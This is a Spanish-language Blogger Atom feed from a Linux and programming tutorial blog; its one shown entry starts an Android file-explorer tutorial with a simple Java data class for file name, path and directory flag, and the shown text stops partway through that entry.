<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-9085393751486294591</id><updated>2026-03-11T05:13:35.614-06:00</updated><category term="linux"/><category term="ubuntu"/><category term="unix"/><category term="iphone"/><category term="como instalar"/><category term="Tutoriales"/><category term="perl"/><category term="tutoriales iphone"/><category term="12.04"/><category term="archlinux"/><category term="tutoriales ubuntu"/><category term="ios5"/><category term="scripting"/><category term="shell"/><category term="bash"/><category term="programación"/><category term="apps linux"/><category term="script"/><category term="ios"/><category term="gentoo"/><category term="recomendado"/><category term="instalar"/><category term="python"/><category term="ipod"/><category term="android"/><category term="freebsd"/><category term="ios3"/><category term="terminal"/><category term="jailbreak"/><category term="java"/><category term="12.10"/><category term="cydia"/><category term="debian"/><category term="root"/><category term="arch"/><category term="gnome 3"/><category term="ios4"/><category term="openSUSE"/><category term="prograbash"/><category term="scriptperl"/><category term="apps"/><category term="chrome"/><category term="descargar"/><category term="entornos"/><category term="escritorio"/><category term="iOSlinux"/><category term="2012"/><category term="compiz"/><category term="configurar"/><category term="python3"/><category term="temas"/><category term="toriales ubuntu"/><category term="tutorial"/><category term="compizubuntu"/><category term="cursobash"/><category term="gnome"/><category term="gtk3"/><category term="lua"/><category term="tweak"/><category term="ubuntuterminal"/><category term="web"/><category term="12.1"/><category term="como crear"/><category term="iwep pro"/><category term="kde"/><category term="ssh"/><category term="wifi"/><category term="funciones"/><category term="google"/><category term="juegos"/><category term="pdf"/><category term="repos"/><category term="vim"/><category term="cambiar"/><category term="como instalar ubuntu 11.10"/><category term="crear"/><category term="fedora"/><category term="grub"/><category term="itimetux"/><category term="mint"/><category term="videos"/><category term="13.10"/><category term="Temas ubuntu"/><category term="comandos"/><category term="como cambiar"/><category term="deb"/><category term="fusion"/><category term="ipad"/><category term="mac"/><category term="nautilus"/><category term="navegador web"/><category term="scripts"/><category term="tbashconverter"/><category term="terminaliOS"/><category term="untethered"/><category term="windows"/><category term="youtube"/><category term="11.10"/><category term="12"/><category term="1g"/><category term="LXDE"/><category term="apps deb"/><category term="archivos"/><category term="backtrack"/><category term="chakra"/><category term="curso"/><category term="distro"/><category term="firefox"/><category term="guardar"/><category term="ios6"/><category term="os x"/><category term="pentest"/><category term="sqlite3"/><category term="teclado"/><category term="3.3"/><category term="C"/><category term="GUI"/><category term="Plymouth"/><category term="accesos"/><category term="arrays"/><category term="browser"/><category term="como reconocer"/><category term="conexión"/><category term="conky"/><category term="convertidor"/><category term="diccionarios"/><category term="flash"/><category term="informe"/><category term="iso"/><category term="livecd"/><category term="liveusb"/><category term="multitarea"/><category term="musica"/><category term="notificaciones"/><category term="pipes"/><category term="pygtk"/><category term="sudo"/><category term="12.2"/><category term="Fotos"/><category term="PS1"/><category term="ahorcado"/><category term="basicos"/><category term="beta2"/><category term="borrar"/><category term="color"/><category term="compilar"/><category term="cursores"/><category term="custom"/><category term="dpkg"/><category term="eclipse"/><category term="else"/><category term="emuladorlinux"/><category term="encriptar"/><category term="error"/><category term="expresiones"/><category term="ffmpeg"/><category term="firewall"/><category term="gimp"/><category term="gnu"/><category term="hdmagazine"/><category term="if"/><category term="instalar apps deb"/><category term="internet"/><category term="ios 6"/><category term="ios7"/><category term="iphone 5"/><category term="kill"/><category term="kubuntu"/><category term="login"/><category term="menu"/><category term="modulos"/><category term="mongodb"/><category term="mono"/><category term="no abre"/><category term="particion"/><category term="pelr"/><category term="programas"/><category term="regulares"/><category term="revistas"/><category term="sabayon"/><category term="slackware"/><category term="software"/><category term="squeeze"/><category term="su"/><category term="tool"/><category term="touch"/><category term="variables"/><category term="wallpaper"/><category term="wheezy"/><category term="whited00r"/><category term="wlan0"/><category term="zenity"/><category term="10"/><category term="13.04"/><category term="14.04"/><category term="2.2.1"/><category term="2.8"/><category term="9.0"/><category term="Greenpois0n"/><category term="LAMP"/><category term="LTS"/><category term="Opera"/><category term="adb"/><category term="agregar"/><category term="alien"/><category term="apache"/><category term="apllicaciones"/><category term="appdroid"/><category term="appsios"/><category term="atajos"/><category term="audio"/><category term="automatico"/><category term="awesome"/><category term="bootlogo"/><category term="carpetas"/><category term="center"/><category term="chromium"/><category term="comando"/><category term="como actualizar"/><category term="como instalar ubuntu"/><category term="contraseña"/><category term="coverflow"/><category term="cowsay"/><category term="cpan"/><category term="cubo"/><category term="darwin"/><category term="del tiempo"/><category term="desde"/><category term="desktop."/><category term="despues"/><category term="edicion"/><category term="editar"/><category term="estandares"/><category term="extensiones"/><category term="find"/><category term="firefox 10"/><category term="folders"/><category term="formateo"/><category term="gba"/><category term="gdm"/><category term="gnome 3.8"/><category term="gparted"/><category term="gpg-zip"/><category term="grep"/><category term="habilitar"/><category term="hash"/><category term="iconos"/><category term="ide"/><category term="idiomas"/><category term="imprimir"/><category term="ios4.4.1"/><category term="ipa"/><category term="kali"/><category term="killall"/><category term="lanzadores"/><category term="laptop"/><category term="lg"/><category term="libre"/><category term="listas"/><category term="locksceen"/><category term="lubuntu"/><category term="mediumscriptig"/><category term="mobile"/><category term="mp3"/><category term="ms690"/><category term="mysql"/><category term="nmap"/><category term="ocultar"/><category term="oop"/><category term="open"/><category term="openbox"/><category term="os"/><category term="overflow"/><category term="pagina"/><category term="paquetes"/><category term="permisos 775"/><category term="php"/><category term="player"/><category term="ppa"/><category term="procesos"/><category term="prompt"/><category term="ps"/><category term="pygame"/><category term="que hacer"/><category term="rar"/><category term="recordmydesktop"/><category term="recupear"/><category term="redirecciones"/><category term="regex"/><category term="reloj"/><category term="reset"/><category term="screenfetch"/><category term="screenshot"/><category term="seguro"/><category term="shel"/><category term="shellunix"/><category term="shift"/><category term="slim"/><category term="strings"/><category term="swap"/><category term="tareas"/><category term="tty"/><category term="unity"/><category term="user-agent"/><category term="validar"/><category term="vlc"/><category term="wallpapers HD"/><category term="wine"/><category term="wordpress"/><category term=".tar.gz"/><category term="1.1"/><category term="1.2"/><category term="1.3"/><category term="10.0.1"/><category term="10.04"/><category term="12.10.compiz"/><category term="12.3"/><category term="17"/><category term="2.3.5"/><category term="2011"/><category term="2g"/><category term="3.1.3"/><category term="3.4"/><category term="4.2.1"/><category term="4S"/><category term="5"/><category term="7zip"/><category term="ADCII"/><category term="Aurora"/><category term="Blogroll."/><category term="Brackets"/><category term="File"/><category term="Inco"/><category term="Macbuntu"/><category term="Mate"/><category term="MyUnity"/><category term="PHP-CLI"/><category term="PS2"/><category term="S.O.P.A"/><category term="Security Lab"/><category term="The king of fighters"/><category term="XBMC"/><category term="XBMCBUNTU"/><category term="Xorg"/><category term="abir"/><category term="abir apps"/><category term="absinthe"/><category term="administrador"/><category term="adt"/><category term="aircrack-ng"/><category term="alfa"/><category term="alias"/><category term="almacenamiento"/><category term="alpha1"/><category term="alpha2"/><category term="alsi"/><category term="ancha"/><category term="animacion"/><category term="apagar"/><category term="applet"/><category term="applocker"/><category term="appstore"/><category term="appsync"/><category term="archiso"/><category term="archivo"/><category term="ares"/><category term="argv"/><category term="armitage"/><category term="arreglar"/><category term="ascii"/><category term="auditor"/><category term="auxo"/><category term="banda"/><category term="banner"/><category term="bashrc"/><category term="bateria"/><category term="beta1"/><category term="binario"/><category term="bits"/><category term="bloqueado"/><category term="boton"/><category term="boxes"/><category term="brcmsmac"/><category term="bridge"/><category term="broadcom"/><category term="burg"/><category term="cadena"/><category term="cadenas"/><category term="cairo-dock"/><category term="características"/><category term="cat"/><category term="cd"/><category term="cdma"/><category term="cerrar"/><category term="certificado"/><category term="chipset"/><category term="chmod"/><category term="chromakey"/><category term="chroot"/><category term="cinnach"/><category term="cinnamon"/><category term="clases"/><category term="clave"/><category term="clima"/><category term="cmatrix"/><category term="como descargar"/><category term="comodines"/><category term="conta"/><category term="correo"/><category term="correr"/><category term="cracking"/><category term="cron"/><category term="crunch"/><category term="cssh"/><category term="cut"/><category term="cuurso"/><category term="dash"/><category term="de"/><category term="debug"/><category term="decoracion"/><category term="decoradores"/><category term="deepin"/><category term="dependencias"/><category term="desaparecer"/><category term="descripcion"/><category term="detectar"/><category term="dig"/><category term="dml"/><category term="do"/><category term="dock"/><category term="dolphin-emu"/><category term="dophin"/><category term="driver"/><category term="dump"/><category term="easy_install"/><category term="eclipce"/><category term="efecto"/><category term="elegir"/><category term="elif"/><category term="elsif"/><category term="emulador"/><category term="emuladoriphone"/><category term="entry"/><category term="enviar"/><category term="equivalente"/><category term="escribir"/><category term="escritorios"/><category term="estrategia"/><category term="exif"/><category term="explorador"/><category term="expo"/><category term="extras"/><category term="facebook"/><category term="facil"/><category term="fat32"/><category term="fichero"/><category term="filtrado"/><category term="fing"/><category term="flugos"/><category term="for"/><category term="forfone"/><category term="freesoftware"/><category term="fuego"/><category term="funcional"/><category term="gangstar"/><category term="gcc"/><category term="gespeaker"/><category term="gif"/><category term="given"/><category term="gmail"/><category term="gmd"/><category term="gnome.gnome 3.6.1"/><category term="gpg"/><category term="gpsphone"/><category term="grid"/><category term="groupandtapwindows"/><category term="hack"/><category term="handbrake"/><category term="hex"/><category term="history"/><category term="hola mundo"/><category term="honeycomb"/><category term="hora"/><category term="hostname"/><category term="hp"/><category term="html"/><category term="hydra"/><category term="iOSrepos"/><category term="ibooks"/><category term="icleaner"/><category term="id3"/><category term="idle"/><category term="imap"/><category term="import"/><category term="iniciar"/><category term="inicio"/><category term="interfaz"/><category term="ios5.ios3"/><category term="iphone 4"/><category term="iwep pro 5"/><category term="iwipe"/><category term="jdk"/><category term="jni"/><category term="join"/><category term="jp2a"/><category term="kde9"/><category term="kdm"/><category term="keyboard"/><category term="las mejores"/><category term="launcher"/><category term="layouts"/><category term="lightdm"/><category term="lion"/><category term="livewallaper"/><category term="lockdown"/><category term="lockinfo"/><category term="logo"/><category term="logo.itimetux"/><category term="loop"/><category term="ls"/><category term="lynx"/><category term="mail"/><category term="manager"/><category term="megabass"/><category term="mejores"/><category term="memoria"/><category term="metasploit"/><category term="mini"/><category term="mitm"/><category term="modificar"/><category term="modo clasico"/><category term="modulo"/><category term="montar"/><category term="motorola"/><category term="mountain"/><category term="mouse"/><category term="mp4"/><category term="mugen"/><category term="mupdf"/><category term="myosbuntu"/><category term="nano"/><category term="navegador"/><category term="netadmin"/><category term="next 12"/><category term="nitro"/><category term="notebook"/><category term="ntfs"/><category term="nvidia"/><category term="obtener"/><category term="office"/><category term="online"/><category term="openjdk"/><category term="openshot"/><category term="operadores"/><category term="pacman"/><category term="parametros"/><category term="passwd"/><category term="pc"/><category term="pelota"/><category term="perldroid"/><category term="picker"/><category term="picsaid"/><category term="pid"/><category term="pie"/><category term="ping"/><category term="pip"/><category term="pirni"/><category term="plantillas"/><category term="plugin"/><category term="poner diferentes"/><category term="pop"/><category term="programa"/><category term="pronostico"/><category term="protege"/><category term="puertos"/><category term="puffin"/><category term="punteros"/><category term="qt"/><category term="quasar"/><category term="qubesOS"/><category term="recoarch"/><category term="recobuntu"/><category term="recovery"/><category term="redsnow"/><category term="relase"/><category term="remix"/><category term="reproducir"/><category term="reseña"/><category term="respring"/><category term="restaurar"/><category term="restricted"/><category term="rm"/><category term="rootkit"/><category term="rpm"/><category term="ruby"/><category term="sbrotator"/><category term="scp"/><category term="screenlets"/><category term="scrot"/><category term="sdk"/><category term="servidor"/><category term="sesion"/><category term="sftp"/><category term="sha"/><category term="shc"/><category term="shh"/><category term="simbolos"/><category term="sin sim"/><category term="sincronizar"/><category term="sintaxis"/><category term="sistema"/><category term="sleepFX"/><category term="snes"/><category term="solucion"/><category term="sonido"/><category term="sources"/><category term="split"/><category term="sshfs"/><category term="sub"/><category term="sushi"/><category term="synaptics"/><category term="tablet"/><category term="tail"/><category term="tee"/><category term="terminalandro"/><category term="texto"/><category term="theHarvester"/><category term="tilling"/><category term="tor"/><category term="touchpad"/><category term="trabado"/><category term="transferecia"/><category term="tree"/><category term="ttpod"/><category term="tuxtyping"/><category term="udev"/><category term="unetbootin"/><category term="unshift"/><category term="unty"/><category term="update"/><category term="upgrade"/><category term="usb"/><category term="utiles"/><category term="vectorlinux"/><category term="veency"/><category term="ventanas"/><category term="ver tv"/><category term="virtualbox"/><category term="visor"/><category term="vnc"/><category term="weboffline"/><category term="wget"/><category term="whatweb"/><category term="wheel"/><category term="while"/><category term="whois"/><category term="widgets"/><category term="wifibooster"/><category term="wikipedia"/><category term="wildcards"/><category term="winrar"/><category term="winscp"/><category term="wireless"/><category term="wirless"/><category term="x86"/><category term="xfce4"/><category term="xkill"/><category term="xubuntu"/><category term="yaourt"/><category term="zip"/><category term="zsnes"/><category term="zypper"/><title type='text'>Tiempo de Tux</title><subtitle type='html'>Tutoriales para GNU/Linux,iOS,Android,BSD,Unix,Programación Perl,Python,Bash,Java,Lua.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://itimetux.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://itimetux.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/09026194756509249762</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>620</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-9085393751486294591.post-5131755446457859869</id><published>2015-02-11T17:10:00.001-06:00</published><updated>2015-02-11T17:10:44.343-06:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="android"/><category scheme="http://www.blogger.com/atom/ns#" term="como crear"/><category scheme="http://www.blogger.com/atom/ns#" term="explorador"/><category scheme="http://www.blogger.com/atom/ns#" term="programación"/><title type='text'>Crear un explorador de Archivos Android</title><content type='html'>Como vimos en un tutorial pasado aprendimos a buscar y encontrar todas las rutas de almacenamiento interno o sd,en este caso aprenderemos como crear un explorador de archivos partiendo de eso.&lt;br /&gt;
&lt;br /&gt;
Este explorador lo haremos en partes,en este tutorial aprenderemos a crear un explorador minimo,lo suficiente para navegar por directorios y ver archivos,no los podremos abrir ni nada solo ver,pero en otros tutoriales lo mejoraremos.&lt;br /&gt;
&lt;br /&gt;
Bien,si ven el tutorial de como buscar las sd cards o almacenamientos,al final podemos ver una imagen donde se muestran las rutas de los almacenamientos con texto.&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;&lt;a href=&quot;http://itimetux.blogspot.mx/2015/02/como-detectar-rutas-de-almacenamiento.html&quot; target=&quot;_blank&quot;&gt;http://itimetux.blogspot.mx/2015/02/como-detectar-rutas-de-almacenamiento.html&lt;/a&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Justamente partiremos de eso,solo que usaremos diseño grafico,dicen que el diseño grafico hace que la programación se vea agradable y como no soy diseñador grafico vamos a usar iconos de:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;a href=&quot;http://www.iconspedia.com/&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;iconspedia.com&lt;/b&gt;&lt;/a&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Estos son los que yo ocupe:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;&lt;a href=&quot;http://www.iconspedia.com/icon/generic-folder-icon-27678.html&quot; target=&quot;_blank&quot;&gt;http://www.iconspedia.com/icon/generic-folder-icon-27678.html&lt;/a&gt;&amp;nbsp;&lt;/b&gt;&lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;&lt;a href=&quot;http://www.iconspedia.com/icon/file-blank-icon-47723.html&quot; target=&quot;_blank&quot;&gt;http://www.iconspedia.com/icon/file-blank-icon-47723.html&lt;/a&gt;&amp;nbsp;&lt;/b&gt;&lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;&lt;a href=&quot;http://www.iconspedia.com/icon/explorer-icon-25475.html&quot; target=&quot;_blank&quot;&gt;http://www.iconspedia.com/icon/explorer-icon-25475.html&lt;/a&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;a href=&quot;http://www.iconspedia.com/icon/hdd-usb-icon-23267.html&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;http://www.iconspedia.com/icon/hdd-usb-icon-23267.html&lt;/b&gt;&lt;/a&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Primero vamos a abrir eclipse y crear un nuevo proyecto android,le vamos a poner de nombre,por ejemplo:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;Timeexplorer&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Ahora vamos a crear un grid para elegir los posibles almacenamientos,pero para crear un grid necesitamos un Adaptador,pero primero vamos a crear un objeto donde guardar la informacion de cada archivo:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #f8f8f8; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30&lt;/pre&gt;
&lt;/td&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;package&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;com&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;itimetux&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;timeexplorer&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;

&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;public&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;class&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Archivo&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
 &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;private&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;String&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Path&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
 &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;private&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;String&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Name&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
 &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;private&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;boolean&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;isDir&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
 &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;public&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Archivo&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;String&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Name&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;String&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Path&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;boolean&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;dir&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;){&lt;/span&gt;
  &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;Name&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Name&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;Path&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Path&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;isDir&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;dir&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
 &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;
 &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;public&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;setName&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;String&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Name&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
  &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;Name&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Name&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
 &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;
 &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;public&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;setPath&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;String&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Path&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;){&lt;/span&gt;
  &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;Path&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Path&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
 &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;
 &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;public&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;setIsDir&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;boolean&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;dir&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;){&lt;/span&gt;
  &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;isDir&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;dir&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
 &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;
 &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;public&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;String&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;getName&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;()&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
  &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;Name&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
 &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;
 &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;public&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;String&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;getPath&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;()&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
  &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;Path&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
 &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;
 &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;public&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;boolean&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;isDirectory&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;()&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
  &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;isDir&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
 &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;
&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;
&lt;/pre&gt;
